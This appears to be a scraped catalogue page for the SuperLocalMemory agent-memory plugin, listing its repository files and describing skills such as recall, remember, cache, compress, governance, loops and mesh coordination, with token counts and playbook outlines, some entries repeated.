bytesvscode-agent-plugin/LICENSEasset34,565 bytesvscode-agent-plugin/README.mddoc2,271 bytesvscode-agent-plugin/_GENERATED.mddoc132 bytesvscode-agent-plugin/agents/slm-governance-advisor.mddoc7,865 bytesvscode-agent-plugin/agents/slm-loop-runner.mddoc3,852 bytesvscode-agent-plugin/agents/slm-memory-advisor.mddoc8,279 bytesvscode-agent-plugin/agents/slm-optimize-advisor.mddoc3,072 bytesvscode-agent-plugin/commands/slm-loop.mddoc1,839 bytesvscode-extension/.gitignoreasset26 bytesvscode-extension/.vscodeignoreasset77 bytesvscode-extension/CHANGELOG.mddoc228 bytesvscode-extension/LICENSEasset1,089 bytesvscode-extension/README.mddoc2,203 bytesvscode-extension/media/icon.pngasset12,469 bytesvscode-extension/package-lock.jsonasset1,872 bytesvscode-extension/package.jsonruns1,396 bytesvscode-extension/src/configured.tsruns1,764 bytesvscode-extension/src/extension.tsruns5,666 bytesvscode-extension/src/starAsk.tsruns2,010 bytesvscode-extension/test/already-configured.test.jsruns2,424 bytesvscode-extension/test/package-contract.test.jsruns2,860 bytesvscode-extension/test/star-ask.test.jsruns3,133 bytesvscode-extension/tsconfig.jsonasset271 byteswiki-content/Active-Memory.mddoc4,172 byteswiki-content/Answer-Check.mddoc11,938 byteswiki-content/Architecture.mddoc8,143 byteswiki-content/Auto-Memory.mddoc7,425 byteswiki-content/Backup-and-Restore.mddoc4,069 byteswiki-content/Bots-That-Talk.mddoc6,762 byteswiki-content/Bounded-Loops.mddoc12,629 byteswiki-content/CLI-Reference.mddoc31,787 byteswiki-content/Capabilities-and-Operations.mddoc6,103 byteswiki-content/Cloud-Backup.mddoc16,971 byteswiki-content/Compliance.mddoc5,777 byteswiki-content/Configuration.mddoc18,892 byteswiki-content/Connect-Web-Apps.mddoc3,976 byteswiki-content/Dashboard-Tour.mddoc8,749 byteswiki-content/Embedding-Models.mddoc7,304 byteswiki-content/FAQ.mddoc7,783 byteswiki-content/Framework-Adapters.mddoc11,429 byteswiki-content/GDPR-Compliance.mddoc3,761 byteswiki-content/Getting-Started.mddoc6,107 byteswiki-content/Governance.mddoc8,965 byteswiki-content/Health-and-Repair.mddoc7,656 byteswiki-content/Home.mddoc7,476 byteswiki-content/Host-Upgrades.mddoc5,210 byteswiki-content/How-Recall-Works.mddoc16,164 byteswiki-content/How-Remember-Works.mddoc6,647 byteswiki-content/IDE-Setup.mddoc11,403 byteswiki-content/Ingestion-Adapters.mddoc10,941 byteswiki-content/Installation.mddoc13,872 byteswiki-content/Knowledge-Graph-and-Entities.mddoc5,094 byteswiki-content/Living-Brain.mddoc9,402 byteswiki-content/MCP-Tools.mddoc33,211 byteswiki-content/Memory-Kinds.mddoc9,541 byteswiki-content/Modes-Explained.mddoc10,293 byteswiki-content/Multi-Agent-Memory.mddoc7,637 byteswiki-content/Optimize.mddoc14,146 byteswiki-content/Pictures-and-Documents.mddoc12,959 byteswiki-content/Plugins-Skills-and-Hooks.mddoc25,271 byteswiki-content/Privacy-and-Data-Flow.mddoc8,519 byteswiki-content/Profiles.mddoc9,369 byteswiki-content/Quick-Start-Tutorial.mddoc64 byteswiki-content/RBAC-Teams.mddoc77 byteswiki-content/Research-Foundations.mddoc13,426 byteswiki-content/Retrieval-Score-Contract.mddoc11,066 byteswiki-content/Security-Company-Mode-and-Teams.mddoc9,887 byteswiki-content/Skill-Evolution.mddoc5,504 byteswiki-content/Troubleshooting.mddoc16,343 byteswiki-content/Upgrade-Memory-Engine.mddoc186 byteswiki-content/Web-Access-and-Connected-Apps.mddoc9,307 byteswiki-content/_Footer.mddoc682 byteswiki-content/_Sidebar.mddoc1,961 byteswiki-content/archive/Archive-Index.mddoc2,051 byteswiki-content/archive/Migration-from-V2.mddoc8,422 byteswiki-content/archive/V3-Architecture.mddoc217 byteswiki-content/archive/V3-Mathematical-Foundations.mddoc126 byteswiki-content/archive/v2/Advanced-Search.mddoc9,653 byteswiki-content/archive/v2/Architecture-V2.5.mddoc5,485 byteswiki-content/archive/v2/Behavioral-Learning.mddoc1,845 byteswiki-content/archive/v2/CLI-Cheatsheet.mddoc10,853 byteswiki-content/archive/v2/Comparison-Deep-Dive.mddoc12,633 byteswiki-content/archive/v2/Configuration.mddoc13,559 byteswiki-content/archive/v2/Enterprise-Compliance.mddoc2,181 byteswiki-content/archive/v2/FAQ.mddoc13,697 byteswiki-content/archive/v2/Home.mddoc10,488 byteswiki-content/archive/v2/Installation.mddoc12,412 byteswiki-content/archive/v2/Knowledge-Graph-Guide.mddoc15,511 byteswiki-content/archive/v2/LangChain-Integration.mddoc3,519 byteswiki-content/archive/v2/Learning-System.mddoc11,820 byteswiki-content/archive/v2/LlamaIndex-Integration.mddoc3,992 byteswiki-content/archive/v2/MCP-Integration.mddoc12,253 byteswiki-content/archive/v2/Memory-Lifecycle.mddoc1,908 byteswiki-content/archive/v2/Multi-Profile-Workflows.mddoc14,629 byteswiki-content/archive/v2/Pattern-Learning-Explained.mddoc7,933 byteswiki-content/archive/v2/Performance-Benchmarks.mddoc3,736 byteswiki-content/archive/v2/Python-API.mddoc17,219 byteswiki-content/archive/v2/Quick-Start-Tutorial.mddoc17,673 byteswiki-content/archive/v2/README.mddoc4,229 byteswiki-content/archive/v2/Real-Time-Event-System.mddoc8,529 byteswiki-content/archive/v2/Roadmap.mddoc11,863 byteswiki-content/archive/v2/Universal-Architecture.mddoc12,794 byteswiki-content/archive/v2/Universal-Skills.mddoc13,775 byteswiki-content/archive/v2/Upgrading-to-v2.7.mddoc13,546 byteswiki-content/archive/v2/Upgrading-to-v2.8.mddoc2,137 byteswiki-content/archive/v2/Using-Interactive-Graph.mddoc6,427 byteswiki-content/archive/v2/Visualization-Dashboard.mddoc27,119 byteswiki-content/archive/v2/Why-Local-Matters.mddoc13,965 byteswiki-content/images/access-decision.pngasset296,076 byteswiki-content/images/architecture.pngasset253,888 byteswiki-content/images/folder-reconcile.pngasset236,013 byteswiki-content/images/memory-lifecycle.pngasset127,811 byteswiki-content/images/mesh-web-to-local.pngasset192,079 byteswiki-content/images/pdf-pipeline.pngasset247,718 byteswiki-content/images/picture-save.pngasset195,474 byteswiki-content/images/privacy-map.pngasset133,476 byteswiki-content/images/recall-flow.pngasset265,850 byteswiki-content/images/remember-sequence.pngasset248,119 byteswiki-content/images/slm-architecture.svgasset14,861 byteswiki-content/images/slm-mascot-hero.pngasset256,899 byteswiki-content/images/slm-mascot-pointing.pngasset221,352 byteswiki-content/images/slm-mascot-shield.pngasset240,175 byteswiki-content/images/upload-link.pngasset181,672 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-bot-memory
When your agent uses it
Cross-bot memory on a shared computer (Grok Bot, Cursor plugin, any host where several agents share one machine). Explains agent_id attribution vs. profile/scope access, how to namespace by agent_id + profile + scope, and what must never be written to memory. Read this before the first remember/recall on a new Grok-Bot-style host.
What it loads into context
Frontmatter
232 tokensAlways available to the agent
SKILL.md
2,301 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Three things that sound like isolation and are not the same
- Namespacing that actually works
- What never goes into memory, on any host
- Bots that talk to each other, and bots on the web
- Checklist for a new bot on an existing shared host
- Related skills
Files
SKILL.mdcore9,257 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-cache
When your agent uses it
KV cache for repeated reads — call slm_cache_get(key) first; on a miss do the expensive operation then slm_cache_set(key, value, ttl_seconds) to store it; on a hit use the returned value directly; always fail-open (hit:false on any error, never raises); saves tokens when the same file, query result, or tool output is read more than once in a session.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
1,635 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Tool: slm_cache_set
- Tool: slm_cache_get
- Standard Pattern: Cache-Aside
- Key Naming Convention
- When Caching Pays Off
- Fail-Open Guarantee
- TTL Guidance
- Secondary CLI (fallback when MCP is unavailable)
- Related skills
Files
SKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-compress
When your agent uses it
Compress large text, tool output, or transcripts to reduce context-window usage while keeping the full 1M window intact — call slm_compress(content, mode, reversible, ttl_seconds) to shrink content; if the result is lossy a ccr_id is returned so you can call slm_retrieve(ccr_id) later to recover the exact original; always fail-open (ok:false → continue with the original).
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
1,611 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_compress
- Recovery Tool: slm_retrieve
- Decision: When to Compress
- Fail-Open Guarantee
- Worked Example
- Secondary CLI (fallback when MCP is unavailable)
- Size Cap
- Related skills
Files
SKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-getting-started-bot
When your agent uses it
First-session orientation for SuperLocalMemory on a headless bot host (Grok Bot, or any Cursor-format plugin install with no hooks, no dashboard, and no interactive setup wizard). What is different here vs. Claude Code/Codex, which 19 tools are actually available, and the first three calls to make.
What it loads into context
Frontmatter
204 tokensAlways available to the agent
SKILL.md
2,432 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is NOT available here
- What IS available: the core profile (19 tools)
- Pictures, PDFs and bot messages are not in this tool set
- If this bot reaches SLM through Web access instead
- The first three calls on a new host
- Cold start is slower here than on a warm laptop
- This host already runs the lite bot-host profile
- Troubleshooting
- Related skills
Files
SKILL.mdcore9,698 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-governance
When your agent uses it
Governed-workspace behavior for SuperLocalMemory. Covers roles (admin/member/viewer) and company mode, who administers a company-mode workspace (a signed-in admin, or `slm team` on the SLM computer), `slm token show` in strict mode, what remote web apps can never see or change, retention and lifecycle settings, the audit trail, GDPR export and erasure, and how agents must behave when operating under workspace governance. The audit and retention tools need the power MCP profile. Agents must never bypass governance controls.
What it loads into context
Frontmatter
293 tokensAlways available to the agent
SKILL.md
3,008 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role model
- Who administers a company-mode workspace
- require-login
- Retention and lifecycle
- Audit trail
- GDPR
- Scope enforcement in governed workspaces
- Integrity checks
- Agent checklist for governed workspaces
- Related skills
Files
SKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-graph
When your agent uses it
Index and query a codebase as a structural graph — build the code graph, trace blast radius of a change, find callers/callees/inheritors, semantic code search by meaning, assemble PR review context, and detect what changed since last index. Use when the user asks how code connects, what breaks if X changes, what calls a function, what a class inherits from, how to navigate an unfamiliar codebase, or to understand risk before editing.
What it loads into context
Frontmatter
209 tokensAlways available to the agent
SKILL.md
3,017 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Reference
- Realistic Workflow
- Error Handling
- Tool set requirement
- Related skills
Files
SKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-loop
When your agent uses it
Gate-verified bounded loops with SuperLocalMemory as the durable ledger. Use when a task has a checkable acceptance condition and you must iterate until an INDEPENDENT gate passes — never stopping because the agent believes it is done. `slm_loop_run` (MCP) waits, under hard bounds, for an independently executed check registered by the operator to pass; `slm loop demo` shows the control flow keyless; `slm loop history` and `slm loop show <run_id>` (or `slm_loop_history` / `slm_loop_show`) inspect past runs, whose every lap is stored as queryable SLM memory (tag `loop:<name>`). Terminal statuses are DONE / HALT / PAUSE / KILLED / ERROR — report them exactly, never converting HALT/PAUSE/ERROR into success.
What it loads into context
Frontmatter
289 tokensAlways available to the agent
SKILL.md
2,418 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The one rule
- What SLM runs, and what you run
- What SLM adds
- MCP: `slm_loop_run`
- CLI
- The bounds
- Terminal statuses — report exactly
- Reporting workflow
- Gate discipline
- The learning brain around loops
- Related skills
Files
SKILL.mdcore9,465 bytesSKILL.mdcore9,465 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-media
When your agent uses it
Save pictures and PDFs in SuperLocalMemory and find them again by describing them. Covers when to save a picture or document, remember_media, remember_document, get_media, media_status and media_upload_link, how recall returns pictures and PDF pages, the limits, what stays private, turning the feature on with `slm media` (16 GB of memory needed), connecting folders with `slm sources`, and how web apps add files through one-time upload links. Off by default.
What it loads into context
Frontmatter
265 tokensAlways available to the agent
SKILL.md
3,933 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to save a picture or a PDF
- Are the tools there?
- Tool reference
- How recall returns pictures and pages
- Limits
- Privacy: what stays and what leaves
- Web apps: two yeses, then an upload link
- Folders and Obsidian vaults
- Upgrade memory engine (preview)
- Related skills
Files
SKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-mesh
When your agent uses it
Cross-session peer coordination via the SLM mesh network. Lets multiple AI agent sessions on the same machine, and web apps the owner has allowed (ChatGPT, Claude on the web, Grok Bot, Muse, Composio), discover each other, send messages, wait for replies with mesh_wait, share lightweight state, and lock files to avoid conflicts. Covers the at-least-once delivery rule for web apps (pass ack_ids back as ack) and the two permissions a web app needs. Available in the default tool set and in the full, power and mesh MCP profiles. Only `slm mesh status` and `slm mesh peers` exist on the command line; the other tools are MCP-only.
What it loads into context
Frontmatter
344 tokensAlways available to the agent
SKILL.md
3,691 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Profile requirement
- Tool reference
- Web apps on the mesh
- Common workflow: parallel agents coordinating on a shared repo
- Mesh vs memory: when to use which
- Error handling
- Related skills
Files
SKILL.mdcore14,712 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-profile
When your agent uses it
Memory profiles (separate namespaces inside one SuperLocalMemory store) and MCP tool sets (which tools your host sees). Use switch_profile or slm profile switch to change the active memory profile, the profile_id argument to read or write another profile for one call, and `slm tools set <name>` to choose the tool set every connected app sees. Required when working across multiple projects, clients, or tenants.
What it loads into context
Frontmatter
205 tokensAlways available to the agent
SKILL.md
2,090 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Memory profiles
- MCP tool sets
- If a tool is missing
- Related skills
Files
SKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytesSKILL.mdcore8,308 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-recall
When your agent uses it
Search and retrieve facts, decisions, and past context from SuperLocalMemory. Use when the user asks to recall, find, search, or "what did we decide/say about X". Triggers multi-channel semantic retrieval with reranking; always call before storing anything new.
What it loads into context
Frontmatter
173 tokensAlways available to the agent
SKILL.md
6,399 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use recall vs search vs fetch vs list_recent
- Recall-before-remember discipline
- MCP-first workflow
- How multi-channel retrieval works
- CLI fallback (when MCP is unavailable)
- Never fabricate a memory
- Shared and global memories (opt-in)
- Profile-aware retrieval
- Related skills
Files
SKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytesSKILL.mdcore25,331 bytes../../../docs/shared-memory.mddoc4,412 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-remember
When your agent uses it
Capture durable facts, decisions, constraints, and gotchas into SuperLocalMemory. Use when the user says "remember that", "save this decision", "note this constraint", or when a session produces a conclusion worth persisting across sessions. Always recall first to avoid duplicates.
What it loads into context
Frontmatter
185 tokensAlways available to the agent
SKILL.md
3,945 tokensWhen the skill is activated
Reference documents
1,043 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What to store (and what not to)
- Recall-before-remember (mandatory discipline)
- MCP-first workflow
- Deleting stale facts
- CLI fallback (when MCP is unavailable)
- Update vs forget discipline
- Sharing across profiles (opt-in)
- Profile-aware storage
- Related skills
Files
SKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytesSKILL.mdcore15,678 bytes../../../docs/shared-memory.mddoc4,412 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-scope
When your agent uses it
Controls memory visibility across profiles — personal (private, default), shared (selected profiles), or global (all profiles on this machine). Default is always personal. Only change scope when the user explicitly asks to share a memory across workspaces. Works with both remember (write scope) and recall (read scope flags).
What it loads into context
Frontmatter
167 tokensAlways available to the agent
SKILL.md
1,473 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The Three Scopes
- Opt-in is mandatory
- Writing a shared or global fact
- Reading shared or global facts
- Configuring scope defaults
- Enterprise governance
- Scope deletion and retention
- Related skills
Files
SKILL.mdcore6,238 bytesSKILL.mdcore6,238 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-session
When your agent uses it
Manage SuperLocalMemory session lifecycle — call session_init once at the start of every fresh session to load relevant project context and get a session_id; call close_session when work is meaningfully complete to commit temporal summaries. Correct lifecycle hygiene is what makes SLM's learning loop work.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
2,834 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The lifecycle in one diagram
- session_init — call once per fresh session
- close_session — call when work is meaningfully complete
- Why this matters
- CLI fallback (when MCP is unavailable)
- Common mistakes
- Profile context
- Related skills
Files
SKILL.mdcore11,528 bytesSKILL.mdcore11,528 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-status
When your agent uses it
Health and optimization stats for SuperLocalMemory — call slm_optimize_stats() for live compression and cache counters (compress_runs, tokens_saved_compress, cache_proxy_hits, cache_proxy_misses, cache_kv_hits, cache_kv_misses); run slm status [--json] for system state (mode, profile, DB size, fact/entity/edge counts) and slm doctor [--json] for preflight including the "Optimize (Surface B)" health line; use together to confirm optimization is actually saving tokens.
What it loads into context
Frontmatter
229 tokensAlways available to the agent
SKILL.md
3,023 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_optimize_stats
- Secondary CLI: slm status
- Secondary CLI: slm doctor
- Secondary CLI: slm optimize status
- Store health and recovery
- Memory health: SLM looks after older memories
- Pictures and documents: status and repair
- Recommended Health Workflow
- Fail-Open
- Profile-aware status
- Related skills
Files
SKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytesSKILL.mdcore12,554 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-web-access
When your agent uses it
Set up and troubleshoot SuperLocalMemory Web access, the optional link that lets web apps (ChatGPT, Claude on the web, Muse, Composio, other remote MCP clients) use the memory on this computer. Covers turning it on from the dashboard, adding and removing apps, read/save/session permissions, the second yes for bot messages and pictures (the Web access switches in Connected apps), one-time upload links for pictures and PDFs, what leaves the computer, renewal, the connection states, the errors a web app can see, and the copy-paste instructions for web agents.
What it loads into context
Frontmatter
235 tokensAlways available to the agent
SKILL.md
2,516 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it is
- Turning it on (the owner does this, in the dashboard)
- What a web app can call
- The second yes: Web access switches
- Adding a picture or PDF from a web app
- What leaves the computer
- Instructions for the web agent
- Renewal
- When a web app reports an error
- Removing an app
- Related skills
Files
SKILL.mdcore10,171 bytesSKILL.mdcore10,171 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsuperlocalmemory
When your agent uses it
Long-term memory for OpenClaw that stays on your computer. Recall past decisions and save new ones with SuperLocalMemory.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
530 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Setup (once per computer)
- When to recall
- When to remember
- Other useful commands
Files
SKILL.mdcore2,146 bytesSKILL.mdcore2,146 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-bot-memory
When your agent uses it
Cross-bot memory on a shared computer (Grok Bot, Cursor plugin, any host where several agents share one machine). Explains agent_id attribution vs. profile/scope access, how to namespace by agent_id + profile + scope, and what must never be written to memory. Read this before the first remember/recall on a new Grok-Bot-style host.
What it loads into context
Frontmatter
232 tokensAlways available to the agent
SKILL.md
2,301 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Three things that sound like isolation and are not the same
- Namespacing that actually works
- What never goes into memory, on any host
- Bots that talk to each other, and bots on the web
- Checklist for a new bot on an existing shared host
- Related skills
Files
SKILL.mdcore9,257 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-cache
When your agent uses it
KV cache for repeated reads — call slm_cache_get(key) first; on a miss do the expensive operation then slm_cache_set(key, value, ttl_seconds) to store it; on a hit use the returned value directly; always fail-open (hit:false on any error, never raises); saves tokens when the same file, query result, or tool output is read more than once in a session.
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
1,635 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Tool: slm_cache_set
- Tool: slm_cache_get
- Standard Pattern: Cache-Aside
- Key Naming Convention
- When Caching Pays Off
- Fail-Open Guarantee
- TTL Guidance
- Secondary CLI (fallback when MCP is unavailable)
- Related skills
Files
SKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytesSKILL.mdcore6,402 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-compress
When your agent uses it
Compress large text, tool output, or transcripts to reduce context-window usage while keeping the full 1M window intact — call slm_compress(content, mode, reversible, ttl_seconds) to shrink content; if the result is lossy a ccr_id is returned so you can call slm_retrieve(ccr_id) later to recover the exact original; always fail-open (ok:false → continue with the original).
What it loads into context
Frontmatter
146 tokensAlways available to the agent
SKILL.md
1,611 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Primary MCP Tool: slm_compress
- Recovery Tool: slm_retrieve
- Decision: When to Compress
- Fail-Open Guarantee
- Worked Example
- Secondary CLI (fallback when MCP is unavailable)
- Size Cap
- Related skills
Files
SKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytesSKILL.mdcore6,281 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-getting-started-bot
When your agent uses it
First-session orientation for SuperLocalMemory on a headless bot host (Grok Bot, or any Cursor-format plugin install with no hooks, no dashboard, and no interactive setup wizard). What is different here vs. Claude Code/Codex, which 19 tools are actually available, and the first three calls to make.
What it loads into context
Frontmatter
204 tokensAlways available to the agent
SKILL.md
2,432 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What is NOT available here
- What IS available: the core profile (19 tools)
- Pictures, PDFs and bot messages are not in this tool set
- If this bot reaches SLM through Web access instead
- The first three calls on a new host
- Cold start is slower here than on a warm laptop
- This host already runs the lite bot-host profile
- Troubleshooting
- Related skills
Files
SKILL.mdcore9,698 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-governance
When your agent uses it
Governed-workspace behavior for SuperLocalMemory. Covers roles (admin/member/viewer) and company mode, who administers a company-mode workspace (a signed-in admin, or `slm team` on the SLM computer), `slm token show` in strict mode, what remote web apps can never see or change, retention and lifecycle settings, the audit trail, GDPR export and erasure, and how agents must behave when operating under workspace governance. The audit and retention tools need the power MCP profile. Agents must never bypass governance controls.
What it loads into context
Frontmatter
293 tokensAlways available to the agent
SKILL.md
3,008 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role model
- Who administers a company-mode workspace
- require-login
- Retention and lifecycle
- Audit trail
- GDPR
- Scope enforcement in governed workspaces
- Integrity checks
- Agent checklist for governed workspaces
- Related skills
Files
SKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytesSKILL.mdcore12,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-graph
When your agent uses it
Index and query a codebase as a structural graph — build the code graph, trace blast radius of a change, find callers/callees/inheritors, semantic code search by meaning, assemble PR review context, and detect what changed since last index. Use when the user asks how code connects, what breaks if X changes, what calls a function, what a class inherits from, how to navigate an unfamiliar codebase, or to understand risk before editing.
What it loads into context
Frontmatter
209 tokensAlways available to the agent
SKILL.md
3,017 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Tool Reference
- Realistic Workflow
- Error Handling
- Tool set requirement
- Related skills
Files
SKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytesSKILL.mdcore12,222 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-loop
When your agent uses it
Gate-verified bounded loops with SuperLocalMemory as the durable ledger. Use when a task has a checkable acceptance condition and you must iterate until an INDEPENDENT gate passes — never stopping because the agent believes it is done. `slm_loop_run` (MCP) waits, under hard bounds, for an independently executed check registered by the operator to pass; `slm loop demo` shows the control flow keyless; `slm loop history` and `slm loop show <run_id>` (or `slm_loop_history` / `slm_loop_show`) inspect past runs, whose every lap is stored as queryable SLM memory (tag `loop:<name>`). Terminal statuses are DONE / HALT / PAUSE / KILLED / ERROR — report them exactly, never converting HALT/PAUSE/ERROR into success.
What it loads into context
Frontmatter
289 tokensAlways available to the agent
SKILL.md
2,418 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The one rule
- What SLM runs, and what you run
- What SLM adds
- MCP: `slm_loop_run`
- CLI
- The bounds
- Terminal statuses — report exactly
- Reporting workflow
- Gate discipline
- The learning brain around loops
- Related skills
Files
SKILL.mdcore9,465 bytesSKILL.mdcore9,465 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-media
When your agent uses it
Save pictures and PDFs in SuperLocalMemory and find them again by describing them. Covers when to save a picture or document, remember_media, remember_document, get_media, media_status and media_upload_link, how recall returns pictures and PDF pages, the limits, what stays private, turning the feature on with `slm media` (16 GB of memory needed), connecting folders with `slm sources`, and how web apps add files through one-time upload links. Off by default.
What it loads into context
Frontmatter
265 tokensAlways available to the agent
SKILL.md
3,933 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to save a picture or a PDF
- Are the tools there?
- Tool reference
- How recall returns pictures and pages
- Limits
- Privacy: what stays and what leaves
- Web apps: two yeses, then an upload link
- Folders and Obsidian vaults
- Upgrade memory engine (preview)
- Related skills
Files
SKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytesSKILL.mdcore15,419 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubslm-mesh
When your agent uses it
Cross-session peer coordination via the SLM mesh network. Lets multiple AI agent sessions on the same machine, and web apps the owner has allowed (ChatGPT, Claude on the web, Grok Bot, Muse, Composio), discover each other, send messages, wait for replies with mesh_wait, share lightweight state, and lock files to avoid conflicts. Covers the at-least-once delivery rule for web apps (pass ack_ids back as ack) and the two permissions a web app needs. Available in the default tool set and in the full, power and mesh MCP profiles. Only `slm mesh status` and `slm mesh peers` exist on the command line; the other tools are MCP-only.
What it loads into context
Frontmatter
344 tokensAlways available to the agent
SKILL.md
3,691 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Profile requirement
- Tool reference
- Web apps on the mesh
- Common workflow: parallel agents coordinating on a shared repo
- Mesh vs memory: when to use which
- Error handling
- Related skills
